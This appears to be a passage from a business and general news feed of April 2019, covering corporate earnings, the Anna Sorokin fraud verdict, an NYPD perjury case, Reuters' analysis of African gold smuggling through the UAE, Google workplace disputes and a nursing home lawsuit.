month. But Fenkell said it's "really to early to determine" how that will scale from here. CVS will add SmileShop to its new health-focused health-focused concept stores, called HealthHUBs by the end of the year. The HealthHUBs are designed to help customers with chronic conditions like diabetes and asthma. Meantime, CVS will continue to search for other services to bring into stores, like optical, Hourican said. CVS already offers optical in 34 locations, though it may expand the offering. More From CNBC The woman who posed as a German heiress until she was arrested for scamming banks and individuals out of $275,000 was convicted on Thursday. A jury found Sorokin guilty of multiple counts of grand larceny plus theft of services. Sorokin, who used the alias Anna Delvey, claimed to be a German heiress intending to open a 45,000-square foot arts foundation. She lived in boutique hotels and was a regular on the international party circuit. She also allegedly faked bank statements to show she had tens of millions in her accountin order to secure loans, and then allegedly used those loans to pay for luxury shopping, a personal trainer, and her hotel stays. Her story elicited widespread media attention, and Shonda Rhimes is now developing a Netflix project about herSorokin's lawyer confirmed she sold her life rights to Rhimes. While Sorokin was found guilty of attempted grand larceny in the first degree, related to trying to get a $22 million loan, the Post reports, "...she got off on the second top charge of attempting to get the same loan from a different bank. The panel also let her slide on the charge she invited her ex-pal Rachel Williams on an all-expenses-paid trip to Morocco and then stuck her with the $70,000 bill." Williams wrote about the experience for Vanity Fair, where Williams works as a photo editor. Williams said she went on the trip because Sorokin offered to pay for it, but Williams ended up footing the bill for the extravagant getaway. During her testimony, Williams "admitted to scoring over $300,000 in book deals" and a deal with HBO. Todd Spodek and Sorokin in court on April 25, 2019 (Richard Drew/AP/Shutterstock) Todd Spodek, Sorokin's defense lawyer, tried to convince jurors that his client was just being an ambitious New Yorker. During opening statements, he said, "In her world this is what her social circle did. Everyones life was perfectly curated for social media. People were fake. People were phony. And money was made on hype alone," and also referenced Ol' Blue Eyes, "Frank Sinatra said, Ill make a brand new start of it in old New York, if I can make it there, Ill make it anywhere because the opportunities in New York are endless... Anna had to kick down the door to get her chance at life. Just like Sinatra had to do it his way, Anna had to do it her way." He reminded jurors of that sentiment in his closing statements, "Sinatra made a brand new start of it in New York, just as Miss Sorokin did. They both created their own opportunities." Assistant District Attorney Kaegan Mays-Williams argued that Sorokin was living "the fantasy of an extravagant lifestyle beyond her means," adding, "She stole from banks. She stole from hotels. She stole from friends. She tried to steal from a hedge fund." Sorokin faces up to 15 years in prison for the first-degree attempted grand larceny conviction; Spodek believes she'll be deported before her May 9th sentencing, according to the Post. "As proven at trial, Anna Sorokin committed real white-collar felonies over the course of her lengthy masquerade," Manhattan District Attorney Cy Vance said in a statement. "I thank the jury for its service in this complex trial, as well as my Office's prosecutors and investigators for their meticulous investigation and resolve to ensure that Sorokin faces real justice for her many thefts and lies." Germany's flagship lender posted 201 million euros ($223 million) in net income for the first three months of the year. Revenues for the quarter were down 9%, with the bank's full-year target cut to "essentially flat" from 2018. Shares of the lender slipped 3% on the news. Deutsche Bank DBK-DE reported stronger-than-anticipated first-quarter net profit on Friday, less than 24 hours after abandoning merger talks with Commerzbank CBK-DE . Germany flagship lender posted 201 million euros ($223 million) in net income for the first three months of the year. This was a rise of 67% from the same period a year ago and better than the 29 million euro figure given by Reuters in an analyst poll. Revenues for the quarter were down 9%, with the bank's full-year target cut to "essentially flat" from 2018. Last month, Deutsche Bank had projected a slight increase in 2019 revenues. Shares of the lender slipped 3% on the news. "Our first-quarter results demonstrate the strength of our franchise and our continued progress in executing our plans in a very challenging market environment," CEO Christian Sewing said in statement. "We have made progress on key business drivers: growth in loans and deposits, a recovery in assets under management and market share improvements in corporate finance." Decision supported by the German government Deutsche Bank had pre-released some of its expected first-quarter earnings on Thursday morning. The detailed figures published Friday come shortly after Deutsche Bank and Commerzbank formally ended merger talks , saying the deal would have been too risky. "This is a decision that has to be respected by everybody," German Economy Minister, Peter Altmaier, told CNBC's Eunice Yoon in Beijing, China on Friday. "The fact that both banks agreed that such a merger is not the right thing to do means that is accepted and supported by the German government," Altmaier said. Story continues Its common equity tier-1 ratio, which indicates a bank's strength, stood at 13.7% at the end of the first quarter. In the past few years, Deutsche Bank has made headlines for all the wrong reasons from settlements with the U.S. Department of Justice, to management reshuffles, weak earnings, constant restructuring and steep stock price falls. More From CNBC Data-center REIT Digital Realty Trust, Inc.s DLR first-quarter 2019 core funds from operations (FFO) per share of $1.73 outpaced the Zacks Consensus Estimate of $1.65. The figure also comes in higher than the year-ago tally of $1.63. The company reported operating revenues of $814.5 million in the first quarter, which marked a 9.4% year-over-year rise. The revenue figure also surpassed the Zacks Consensus Estimate of $797.4 million. The company has reaffirmed its 2019 core FFO per share outlook. Signed total bookings during the reported quarter are estimated to generate $50 million of annualized GAAP rental revenues. This would include a $9-million from Ascenty (at 100% share) and a $7-million contribution from interconnection. Notably, the weighted-average lag between leases signed during first-quarter 2019 and the contractual commencement date was two months. Moreover, the company signed renewal leases, marking $116 million of annualized GAAP rental revenues. Rental rates on renewal leases signed during the quarter rolled down 6.9% on a cash basis and ascended 7.1% on a GAAP basis. Notable Portfolio Activity During the March-end quarter, Digital Realty announced the conclusion of its joint venture (JV) deal with Brookfield Asset Managements affiliate Brookfield Infrastructure. The move comprised Brookfield investing approximately $700 million and in turn, acquiring around 49% of the total equity interests in the JV, which owns and operates Ascenty. Moreover, during the first quarter, Digital Realty closed the 30-year ground lease with Jurong Town Council for two adjacent land parcels in Singapore, aggregating three acres, for an upfront payment of around $6 million. Further, in an effort to expand its presence in Japan, Digital Realty announced that its 50/50 JV with Mitsubishi Corporation MC Digital Realty has signed a deal to acquire a five-acre land parcel in Tokyo. Balance Sheet Digital Realty exited first-quarter 2019 with cash and cash equivalents of around $123.9 million, slightly down from $126.7 million recorded at year-end 2018. Additionally, as of Mar 31, 2019, the company had around $10.3 billion of total debt outstanding, of which $10.2 billion was unsecured debt and around $0.1 billion secured debt. Also, as of the same date, its net debt-to-adjusted EBITDA was 5.5x, while fixed charge coverage was 3.6x. Outlook Reiterated Digital Realty reiterated its 2019 core FFO per share outlook at $6.60-$6.70. The Zacks Consensus Estimate for the same, currently pegged at $6.67, lies within this range. The full-year outlook provided by the company is backed by revenue projections of $3.2-$3.3 billion, year-end portfolio occupancy growth of +/- 50 bps, and "same-capital" cash NOI growth of -2.0% to -4.0%. Our Take Solid fundamentals of the data-center market help Digital Realty ride on its growth curve through accretive acquisitions and development efforts. The company also focuses on maintaining a solid balance sheet and enjoys ample liquidity. Nevertheless, aggressive pricing pressure is likely to prevail in the upcoming period. In addition, the company has a substantial debt burden and hence, any rate hike will add to its woes. Digital Realty currently has a Zacks Rank #3 (Hold). You can see the complete list of todays Zacks #1 Rank (Strong Buy) stocks here. Digital Realty Trust, Inc. Price, Consensus and EPS Surprise Story continues Digital Realty Trust, Inc. Price, Consensus and EPS Surprise | Digital Realty Trust, Inc. Quote We now look forward to the earnings releases of other REITs like Vornado Realty Trust VNO, Boston Properties, Inc. BXP and Extra Space Storage Inc. EXR. Vornado Realty is slated to report first-quarter earnings on Apr 29, while Boston Properties and Extra Space Storage are scheduled to release their quarterly numbers on Apr 30. Note: Anything related to earnings presented in this write-up represent funds from operations (FFO) a widely used metric to gauge the performance of REITs. Zacks' Top 10 Stocks for 2019 In addition to the stocks discussed above, would you like to know about our 10 finest buy-and-holds for the year? Who wouldn't? Our annual Top 10s have beaten the market with amazing regularity. In 2018, while the market dropped -5.2%, the portfolio scored well into double-digits overall with individual stocks rising as high as +61.5%. And from 2012-2017, while the market boomed +126.3, Zacks' Top 10s reached an even more sensational +181.9%. See Latest Stocks Today >> Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Extra Space Storage Inc (EXR) : Free Stock Analysis Report Digital Realty Trust, Inc. (DLR) : Free Stock Analysis Report Vornado Realty Trust (VNO) : Free Stock Analysis Report Boston Properties, Inc. (BXP) : Free Stock Analysis Report To read this article on Zacks.com click here. Zacks Investment Research Prosecutors in two boroughs say they'll launch a review of possible false arrests made by Detective Joseph Franco, a veteran NYPD officer who allegedly framed multiple New Yorkers on bogus drug charges. The 46-year-old Franco was arrested this week and charged with perjury, offering a false instrument for filing, and official misconduct. According to Manhattan District Attorney Cy Vance, Franco arrested three people in the last two years for drug deals that never happened, then repeatedly lied on the witness stand about what he'd observed. In one case, Franco testified that he'd seen a woman selling crack outside her Lower East Side apartment building in 2017. The woman spent a year and a half in prison before she was released this past November, after security camera footage disproved the officer's account. Franco was placed on desk duty in February, and has since been suspended by the NYPD without pay. Records show he made more than $143,000 last year. He was released by a judge without bail on Wednesday. In a press release, the Manhattan D.A.s office touted its commitment to aggressively investigate and prosecute corruption and misconduct by uniformed officers." A statement attributed to Police Commissioner James O'Neill claimed that officers who do not meet "the highest ethical standards...must be held accountable." But the issue of testilying has proven a consistent problem at the NYPD, with officers typically facing little, if any, discipline when caught. Since 2010, the police departments Internal Affairs Bureau has refused to uphold more than 97 percent of cases in which the Civilian Complaint Review Board has found an officer not telling the truth. Last year, a months-long investigation by the Times found that the departments reluctance to investigate and discipline officers for lyingappears to be as much of a problem as the initial lies. This detective lied to judges, prosecutors, and his own colleagues in the NYPD about crimes that never happened, and 3 New Yorkers wrongfully lost their liberty as a result. https://t.co/ef5G6HAcxb Cyrus Vance, Jr. (@ManhattanDA) April 25, 2019 Thus far, the Manhattan D.A. has vacated convictions for three people believed to have been falsely arrested by Francoeach of whom had pled guilty to charges brought by Vance. His office is looking at two additional cases. But both public defenders and community advocates argue that Francowhose 19 year career included stints in the Bronx as well as Manhattanlikely played a role in hundreds of arrests, each of which should now be scrutinized by prosecutors and the NYPD. "It should not be lost on us that the disgraced detective has framed at least three individuals that we know of, and more significantly, that those individuals pled guilty to crimes that they absolutely did not commit," said Tina Luongo, Attorney-In-Charge of the Criminal Defense Practice at The Legal Aid Society. "We demand that the Manhattan and Bronx District Attorneys conduct an immediate and thorough investigation of every case involving Detective Franco for misconduct. This behavior must not be tolerated." In response to Gothamist's inquiries, a spokesperson for Bronx D.A. Darcel Clark said that the borough's Public Integrity Bureau would launch a review of his arrests "after the case plays out in court." It's believed that Franco worked out of the Bronx from 2001 to 2003. Asked whether the Manhattan D.A.'s office planned to do the same, spokesperson Justin Henry told Gothamist: "We already are." The spokesperson declined to answer follow up questions about the timeline for Vance's review, how many cases had been opened, and whether the office's Conviction Integrity Program was involved. I cannot overstate the significance of all 3 victims pleading guilty to crimes they did not commit. This is not an anomaly; it is the cornerstone of our criminal legal system. https://t.co/2Q313CAx1Y Marie Ndiaye (@marie_defender) April 26, 2019 There is so much that could be said about this. 19 years! It's more than likely that Franco framed people earlier his career in order to get the arrests to make detective. @ManhattanDA & @BronxDAClark must look into all of his previous arrests! It's never too late for justice. Marie Ndiaye (@marie_defender) April 26, 2019 Without more forthcoming information from prosecutors, Dwayne Lee, a Community Leader at VOCAL-NY, urged those arrested by Franco to "immediately themselves start filing for new hearings." "Once a bad cop, always a bad cop," Lee added. "There are no such things as isolated incidents with this. An officer who is doing this affects the whole community and it should be addressed with this in mind. There are likely people upstate, people in prison, from this cop's lies." Asked whether the NYPD intended to review past arrests made by Franco, Sergeant Jessica McRorie, a police spokesperson, told Gothamist: "This is an ongoing criminal prosecution. It would not be appropriate for us to comment about an ongoing investigation." CALGARY, Alberta, April 25, 2019 (GLOBE NEWSWIRE) -- Essential Energy Services Ltd. (ESN.TO) (Essential) announces it has won the patent appeal. Essential has been advised that the Federal Court of Appeal (Appeal Court) has rendered its decision with regard to the appeal filed by Packers Plus Energy Services Inc. (Packers Plus or the Appellants) in response to the December 6, 2017 Federal Court of Canada trial judgment that found: the asserted patent was invalid for obviousness; the asserted patent was invalid due to prior disclosure by Packers Plus; and Essential did not infringe the patent (collectively, the Trial Decision). To be successful against Essential, the Appellants needed to have all three elements of the Trial Decision overturned. On April 25, 2019, the Appeal Court released their decision (the Appeal Decision), dismissing Packers Plus appeal with costs to Essential and the other defendants. In its reasons, the Appeal Court upheld the portion of the Trial Decision that the asserted patent was invalid for obviousness and, as a result it was not necessary for the Appeal Court to consider the other two elements of the Trial Decision. This is tremendous news for Essential, commented Garnet Amundson, President and Chief Executive Officer. We have spent five and a half years fighting this battle and are pleased with the Appeal Courts ruling. The decision upholds our stated position all along that the action was without merit. If Packers Plus intends to appeal the Appeal Decision, it would have to first seek and obtain leave from the Supreme Court of Canada (the Supreme Court) to hear an appeal. Filing an application for leave to appeal to the Supreme Court does not guarantee that the Supreme Court will hear the matter. The deadline for Packers Plus to file an application for leave to appeal to the Supreme Court, if they choose to do so, is June 24, 2019. ABOUT ESSENTIAL Essential provides oilfield services to oil and natural gas producers, primarily in western Canada. Essential offers completion, production and abandonment services to a diverse customer base. Services are offered with coil tubing, fluid and nitrogen pumping and the sale and rental of downhole tools and equipment. Essential offers one of the largest coil tubing fleets in Canada. Further information can be found at www.essentialenergy.ca . Story continues The TSX has neither approved nor disapproved the contents of this news release. FOR FURTHER INFORMATION, PLEASE CONTACT: Garnet K. Amundson President and CEO Phone: (403) 513-7272 service@essentialenergy.ca Karen Perasalo Investor Relations Phone: (403) 513-7272 service@essentialenergy.ca By David Lewis, Ryan McNeill and Zandi Shabalala NAIROBI, (Reuters) - Billions of dollars' worth of gold is being smuggled out of Africa every year through the United Arab Emirates in the Middle East a gateway to markets in Europe, the United States and beyond a Reuters analysis has found. Customs data shows that the UAE imported $15.1 billion worth of gold from Africa in 2016, more than any other country and up from $1.3 billion in 2006. The total weight was 446 tonnes, in varying degrees of purity up from 67 tonnes in 2006. Much of the gold was not recorded in the exports of African states. Five trade economists interviewed by Reuters said this indicates large amounts of gold are leaving Africa with no taxes being paid to the states that produce them. Previous reports and studies have highlighted the black-market trade in gold mined by people, including children, who have no ties to big business, and dig or pan for it with little official oversight. No-one can put an exact figure on the total value that is leaving Africa. But the Reuters analysis gives an estimate of the scale. Reuters assessed the volume of the illicit trade by comparing total imports into the UAE with the exports declared by African states. Industrial mining firms in Africa told Reuters they did not send their gold to the UAE indicating that its gold imports from Africa come from other, informal sources. Informal methods of gold production, known in the industry as "artisanal" or small-scale mining, are growing globally. They have provided a livelihood to millions of Africans and help some make more money than they could dream of from traditional trades. But the methods leak chemicals into rocks, soil and rivers. And African governments such as Ghana, Tanzania and Zambia complain that gold is now being illegally produced and smuggled out of their countries on a vast scale, sometimes by criminal operations, and often at a high human and environmental cost. Artisanal mining began as small-time ventures. But the "romantic" era of individual mining has given way to "large-scale and dangerous" operations run by foreign-controlled criminal syndicates, Ghana's President Nana Akufo-Addo told a mining conference in February. Ghana is Africa's second-largest gold producer. Story continues Not everyone in the chain is breaking the law. Miners, some of them working legally, typically sell the gold to middlemen. The middlemen either fly the gold out directly or trade it across Africa's porous borders, obscuring its origins before couriers carry it out of the continent, often in hand luggage. For example, Democratic Republic of Congo (DRC) is a major gold producer but one whose official exports amount to a fraction of its estimated production: Most is smuggled into neighbouring Uganda and Rwanda. "It is of course worrisome for us but we have very little leverage to stop it," said Thierry Boliki, director of the CEEC, the Congolese government body that is meant to register, value and tax high-value minerals like gold. The customs data provided by governments to Comtrade, a United Nations database, shows the UAE has been a prime destination for gold from many African states for some years. In 2015, China the world's biggest gold consumer imported more gold from Africa than the UAE. But during 2016, the latest year for which data is available, the UAE imported almost double the value taken by China. With African gold imports worth $8.5 billion that year, China came a distant second. Switzerland, the world's gold refining hub, came third with $7.5 billion worth. Most of the gold is traded in Dubai, home to the UAE's gold industry. The UAE reported gold imports from 46 African countries for 2016. Of those countries, 25 did not provide Comtrade with data on their gold exports to the UAE. But the UAE said it had imported a total of $7.4 billion worth of gold from them. In addition, the UAE imported much more gold from most of the other 21 countries than those countries said they had exported. In all, it said it imported gold worth $3.9 billion about 67 tonnes more than those countries said they sent out. "There is a lot of gold leaving Africa without being captured in our records," said Frank Mugyenyi, a senior adviser on industrial development at the African Union who set up the organisation's minerals unit. "UAE is cashing in on the unregulated environment in Africa." The Dubai Customs Authority referred Reuters' queries to the UAE foreign ministry, which did not respond. The UAE government media office referred Reuters to the UAE federal customs authority, which also did not respond. Not all the discrepancies in the data analysed by Reuters necessarily point to African-mined gold being smuggled out through the UAE. Small differences could result from shipping costs and taxes being declared differently, a time-lag between a cargo leaving and arriving, or simply mistakes. And gold analysts say some of the trade, especially from Egypt and Libya, could include gold that has been recycled. But in 11 cases, the per-kilo value that the UAE declared importing is significantly higher than that recorded by the exporting country. This, said Leonce Ndikumana, an economist who has studied capital flows in Africa, is a "classic case of export under-invoicing" to reduce taxes. Matthew Salomon, an American economist who has researched the use of trade statistics to identify illicit financial flows, said the issue deserves scrutiny. "Persistent discrepancies in the trade of particular goods and between particular countries ... can identify significant risks of illicit activity," he said. POLLUTION, CONFLICT AND BANDITS Over the past decade, high demand for gold has made it attractive for informal miners to use digging equipment and toxic chemicals to boost the yield. Contaminated water is returned to rivers, slowly poisoning the people who need the water to live. Small-scale miners have long used mercury easy to buy at around $10 for a thumb-sized vial to extract flecks of gold from ore, before sluicing it away. Mercury's toxic effects include damage to kidneys, heart, liver, spleen and lungs, and neurological disorders, such as tremors and muscle weakness. Cyanide and nitric acid are also being used in the process, according to researchers and miners in Ghana. Industrial mining companies have also been responsible for pollution, ranging from cyanide spills to respiratory problems linked to dust produced by mining operations. But almost a dozen states including DRC, Uganda, Chad, Niger, Ghana, Tanzania, Zimbabwe, Malawi, Burkina Faso, Mali and Sudan have complained in the past year about the harms of unauthorised mining. Burkina Faso has banned small-scale mining in some areas where al Qaeda-linked Islamists are active, and earlier this month Nigeria's government suspended mining in the restive northwestern state of Zamfara, saying intelligence reports established what it called "a strong and glaring nexus" between the activities of armed bandits and illicit miners. Strong prices have fuelled the boom. Today, gold trades at over $40,000 per kilo, which is below a peak from 2012 but still four times the level of two decades ago. Western investors want gold so they can diversify their portfolios; India and China want it for jewellery. But most Western companies and the banks that finance them avoid handling non-industrial African gold directly. They are unwilling to risk using metal that may have been mined to fund conflict or that may have involved human rights abuses in, for instance, DRC or Sudan. Various Uganda-based traders have been sanctioned for handling gold smuggled out of DRC. DESTINATION DUBAI In other states, including the UAE, these concerns have been less of a problem. Over the last decade, gold from Africa has become increasingly important for Dubai. From 2006 to 2016, the share of African gold in UAE's reported gold imports increased from 18 percent to nearly 50 percent, Comtrade data showed. The UAE's main commodity marketplace, the Dubai Multi-Commodities Centre (DMCC), calls itself on its website "your gateway to global trade." Trading in gold accounts for nearly one-fifth of UAE's GDP. However, no big industrial companies reached by Reuters including AngloGold Ashanti, Sibanye-Stillwater and Gold Fields say they send gold there. Reuters contacted 23 mining companies with African operations, the smallest of which produced around 2.5 tonnes in 2018: 21 of them said they did not send metal to Dubai for refining, the other two did not respond. While the big South African miners have local refining capacity, the main reason others gave is that no UAE refineries are accredited by the London Bullion Market Association (LBMA), the standard-setter for the industry in Western markets. The LBMA is "not comfortable dealing with the region" because of concerns about weaknesses in customs, cash transactions and hand-carried gold, its chief technical officer Neil Harby told Reuters. Investigators and people in the gold industry say the ease with which smugglers can carry gold in their hand-luggage on planes leaving Africa helps gold flow out unrecorded. And limited regulation in UAE means informally mined gold can be legally imported, tax-free. Gold can be imported to Dubai with little documentation, African traders told Reuters. A DMCC spokesman said it has a robust regulatory framework that includes strict responsible sourcing rules. These are aligned with the international benchmark for responsible sourcing laid out by the Organisation for Economic Cooperation and Development (OECD). Sanjeev Dutta, head of commodities at DMCC, said in January that the centre is building strategic relationships with most gold-producing countries on the African continent, "and we are very confident of how that production is done and how responsible" it is. Over the past 12 months, he said, DMCC has firmed up a standard for refineries, called Dubai Good Delivery, which he said is very strict on responsible sourcing and sustainability. "We track right from responsible sourcing to sustainable development, things like human rights etc.," he said. "We demand export certificates." A "very limited" number of refineries accept gold that has been imported as hand luggage, Dutta said, but gave no figures. GOLD TO GO Some African miners are swapping their pickaxes and shovels for diggers and crushers increasing production volumes exponentially. Regulation remains scant, and accidents are frequent. In one week this February, three accidents at illegal mining operations in Zimbabwe, Guinea and Liberia claimed the lives of more than 100 people. Often, miners must surrender a cut of their output, as commission, to the people who control a pit, let out the equipment, or buy and sell the gold. NGOs such as Global Witness and Human Rights Watch have documented child labour, corruption and links to conflict at some of these mines. At one mine in Zimbabwe visited by Reuters, people said they had to hand over some of their find before they would even be allowed out of the pit. Reuters presented its analysis to 14 African governments. Of them, five said it reflected an existing concern about gold being smuggled out of their countries that they are trying to address. One said they did not think gold smuggling was a problem for them. The rest declined to comment or did not respond. Governments across Africa are trying to work out how to manage a sector that, whatever its risks, provides a livelihood for many of their citizens, and which could be harnessed as a source of revenues. Some, including Ivory Coast, are taking gradual steps to regulate their informal mining operations. Ghana and Zambia have sent security forces into mining areas to halt operations so miners can be registered and regulations put in place. Ghana, concerned that a rush of mainly Chinese-led ventures is harming the environment, has arrested hundreds of Chinese miners and expelled thousands in the past six years. At the end of last month, Ghana temporarily banned the import of excavator equipment to try to stem a surge in illegal mining using heavy machinery. In Sudan, one of the continent's biggest producers, the government has unveiled a $3 billion plan for private banks to work with the central bank to buy gold from small-scale miners, offering prices that would make it less attractive to sell on the black market. A Tanzanian parliamentary report estimated that 90 percent of annual production of informally mined gold is smuggled out of the country: The government wants the central bank to buy this up. In March, President John Magufuli launched a plan to establish hubs where the trade would be formalised by offering access to financing and regulated markets. In Burkina Faso, Oumarou Idani, minister of mines, believes his country is leaking gold to UAE on a massive scale. Of the 9.5 tonnes of gold the government estimates informal miners dig up each year, just 200 to 400 kg are declared to the authorities, he said. Much of the gold is smuggled from landlocked Burkina Faso to its Atlantic coast neighbour Togo, according to the minister. In Togo, virtually no taxes are imposed on gold. Togo's director of mining development and controls, Nestor Kossi Adjehoun, said informal mining is "an area that we have not properly figured out." For now, he said, Togo saw no reason to suspect gold was being smuggled through the country. "I understand that Dubai is the destination for this gold," his Burkina Faso neighbour, Minister Idani, told Reuters in an interview last year. "But since (the trade) is fraudulent, I have no details." (Additional reporting by John Ndiso in Nairobi, Tim Cocks in Ouagadougou, Ed McAllister in Dakar, Chris Mfula in Lusaka, Giulia Paravicini in Kinshasa, MacDonald Dzirutwe in Battlefields, Zimbabwe, John Zodzi in Lome, Fumbuka Ng'wanakilala in Dodoma, Maha El Dahan in Dubai, and Peter Hobson in London; Edited by Sara Ledwith, Alexandra Zavis and Richard Woods) (Bloomberg) -- A complaint has been filed with the National Labor Relations Board accusing Alphabet Inc.s Google of violating federal law by retaliating against an employee. The filing was made this week by an unidentified individual and the case has been assigned to the agencys New York office, according to the agencys website. It involved an alleged violation of a New Deal-era ban on punishing employees for involvement in collective action related to working conditions, according to a case summary posted online. An attorney listed as representing the complainant didnt immediately comment in response to an inquiry. Its unclear who the complainant is. Over the past year, staff have protested over workers rights, a divisive military contract and the companys handling of sexual misconduct. Tens of thousands of Google employees around the world participated in a November walkout, demanding changes. The companys since addressed some of the organizers demands, announcing it would let employees pursue claims as class actions in court rather than forcing them into arbitration. This week, the internet giant came under fire from two leaders of the walkout, who alleged in a message posted internally that the company has been retaliating against them -- a claim Google has denied. The activists, whose message was first reported by Wired, announced a planned town-hall meeting on the issue Friday. Those employees could not be reached for comment. A Google representative declined to comment on the new filing but pointed to a previous statement about the walkout organizers claims: We prohibit retaliation in the workplace, and investigate all allegations. Employees and teams are regularly and commonly given new assignments, or reorganized, to keep pace with evolving business needs. There has been no retaliation here. To contact the reporters on this story: Josh Eidelson in Palo Alto at jeidelson@bloomberg.net;Mark Bergen in San Francisco at mbergen10@bloomberg.net Story continues To contact the editors responsible for this story: Alistair Barr at abarr18@bloomberg.net, Edwin Chan, Jeff Muskus For more articles like this, please visit us at bloomberg.com 2019 Bloomberg L.P. (Bloomberg) -- Google unveiled another round of policy changes to address employee concerns about misconduct at the worlds largest internet search company. Staff can now lodge complaints and concerns about harassment and other misconduct at work via a new website. During meetings related to investigations, workers will have more freedom to bring along colleagues to support them. Theres also a new program to provide better care for employees during and after investigations, the company said Thursday. We want every Googler to walk into a workplace filled with dignity and respect, Googles global director of diversity, equity, and inclusion, Melonie Parker, wrote in an email to employees, which was also posted publicly online. By June, the Alphabet Inc. subsidiary will also complete a dedicated site for receiving concerns from temporary workers and vendors. Last year, temporary, vendor and contracted staff became a majority of Googles workforce. The latest changes come nearly six months after thousands of Google employees around the world staged walkout protests to demand changes to the way the company handles misconduct. In response, Google announced last November that it would stop forcing employees to handle sexual harassment and assault claims in arbitration rather than in court. In February, the company announced a more sweeping change; dropping so-called forced arbitration for all current and future employees and allowing them to instead pursue courtroom class actions for all kinds of workplace complaints. Such moves, Parker wrote, are all big changes that I hope show our real commitment. The internet giant came under fire this week from two leaders of last years walkout. They alleged in a message posted to internal mailing lists that Google has been retaliating against them. Google denied the claims. The employee activists, whose message was first reported by Wired, plan to hold a town hall meeting about the issue on Friday. Story continues "What we see here is Google management scrambling to placate workers in the face of serious claims that the company retaliates against organizers and those who speak up about harassment and discrimination," the advocacy group Tech Workers Coalition said in a statement Thursday. To contact the reporter on this story: Josh Eidelson in Washington at jeidelson@bloomberg.net To contact the editors responsible for this story: Jillian Ward at jward56@bloomberg.net, Alistair Barr For more articles like this, please visit us at bloomberg.com 2019 Bloomberg L.P. DUBAI, United Arab Emirates and RESEARCH TRIANGLE PARK, N.C., April 25, 2019 (GLOBE NEWSWIRE) -- JAGGAER, the worlds largest independent spend management company, was named winner of the Most Innovative Technology category in the Procurement Middle East Industry Recognition Awards held on 24 April in the Kingdom of Bahrain. The awards were introduced this year at the third edition of the Procurement Middle East Conference, which is supported by the Tender Board Bahrain. The awards are designed to celebrate achievements in the procurement function throughout the region. JAGGAERs submission featured the JAGGAER ONE Spent Management Platform , which was officially launched in the Middle East just two days earlier. Hossam Refaat, Managing Director for JAGGAER Middle East and North Africa collected the Award from H.E. Eng. Basim Bin Yacob Al Hamer, Chairman of Bahrain Tender Board and Dr Mohamed Bahzad, Secretary General, Bahrain Tender Board. Bahrain has been driving technological change in procurement. In his keynote speech to the conference, Mr. Al Hamer highlighted the role of procurement leaders in strengthening supply chain resilience, safeguarding their brands from third-party risk, and cultivating new sources of innovation. The JAGGAER ONE Spend Management Platform integrates the most innovative procurement software on the market, yet the proposition is clear and simple: All Processes, All Spend, One Platform. Our mission is to empower procurement professionals by simplifying, streamlining and automating business processes. And this clearly appealed to the judges, commented Hossam Refaat. Its been a busy week for the JAGGAER Tejari United Arab Emirates team, with some great opportunities across the three days, added Refaat. The Middle East is a high growth region for JAGGAER Tejari, which is committed to supporting the regions business, and boosting the local economy through innovative technology. The company is working closely with the Kingdoms digital transformation efforts as it embraces the latest generation of smart procurement systems, commonly referred to as Procurement 4.0. Story continues Further information about JAGGAER ONE is available here. About JAGGAER: Global Source to Pay Spend Management Solutions JAGGAER is the worlds largest independent spend management company, with over 2000 customers connected to a network of 3.7 million suppliers in 70 countries, served by offices located in North America, Latin America, throughout Europe, the United Kingdom, Australia, Asia, and the Middle East. JAGGAER offers complete SaaS-based Source to Pay eProcurement solutions with advanced Spend Analytics, Sourcing, Supplier Management, Contract Lifecycle Management, Savings Tracking, and intelligent workflow capabilities. JAGGAER has pioneered spend solutions for over two decades and continues to lead the innovation curve by listening to customers and analyzing the market. Our solution suites are trusted by the worlds largest manufacturing, education, health care, retail, consumer package goods, logistics, construction, utilities companies and public service organizations. Additionally, JAGGAER holds 37 patentsmore than any other spend management company. www.JAGGAER.com To join the conversation, please visit our blog at https://JAGGAER.com/blog/ or follow us on Twitter @JaggaerPro Autumn Lake HealthCare at Bucks Hill in Waterbury. Autumn Lake Healthcare at Bucks Hill in Waterbury. Photo: Google Attorneys for the estate of a 76-year-old woman allegedly killed at the hands of her boyfriend in a Waterbury nursing home have sued the facility, claiming it should have known about the man's violent history and protected the victim. Police said 81-year-old John Jensen strangled Patricia Ann Way with her own scarf at Autumn Lake Healthcare at Bucks Hill in November 2018. Now, the woman's estate has filed suit seeking monetary damages against Autumn Lake. The lawsuit, filed Monday in Waterbury Superior Court, says the facility and its employees "should have known that John Jensen posed a danger to other residents of Autumn Lake, including the plaintiff decedent." It names as a defendant Bucks Hill Operations LLC, which is doing business as Autumn Lake Healthcare at Bucks Hill. It's not clear how long Jensen and Way were romantically involved, or how long they were living at the nursing home. The lawsuit says Jensen "had violent tendencies," and that Autumn Lake "failed to protect residents such as Patricia Ann Way from such tendencies." The lawsuit also says the facility was "directly warned" that Jensen posed a danger to other residents, but failed to act. It does not elaborate on or say who warned Autumn Lake about Jensen's alleged propensity for violence. WFSB-TV, the state's CBS affiliate, reported that Jensen had a criminal conviction for armed robbery in 1966 and was arrested for driving while intoxicated in 1999. The lawsuit also names former Autumn Lake administrator Patricia Leone-Tincher as a defendant. "As the administrator, Patricia Leone-Tincher is responsible for the safety of all residents and they also have a responsibility to know about all of their residents," Pamela Levin Cameron, the attorney who represents the family's estate, told the Connecticut Law Tribune Friday. "They just did not protect Patricia Ann Way from John Jensen." Cameron, a partner with Middlebury-based Moore, O'Brien & Foti, said she is seeking "at least seven figures" in damages from the nursing home, and that Way's family is reeling from the ordeal. Cameron, who has been talking to Scott Way, administrator of his mother's estate, said, "Scott is still mourning his mother's death and is extremely upset about the way in which it occurred. The family is obviously distraught that she ultimately died after being strangled with her own scarf. There had to be some substantial suffering she went through that preceded her death. She had bruises on her which seemed to show this was a violent attack." Way, who was widowed, had seven children, according to news reports. Jensen, who was charged with felony murder and has been declared incompetent to stand trial, is being housed in Middletown at the Whiting Forensic Hospital, a psychiatric inpatient center for individuals in the criminal justice system. Court records show Jensen will have his next competency hearing on June 25. As of Friday, Autumn Lake had not assigned attorneys to the case. Administrator Leone-Tincher no longer works for Autumn Lake, and did not respond to a request for comment Friday. Autumn Lake's current administrator, Yosef Mervin, also did not respond to a request for comment, and the company does not have a legal department. $308M of Revenue with $103M in Free Cash Flow; Q1 Highlighted by the New GoTo Brand & UCC Product Launches BOSTON, April 25, 2019 (GLOBE NEWSWIRE) -- LogMeIn, Inc. (LOGM), a leading provider of cloud-based connectivity, today announced its results for the first quarter ended March 31, 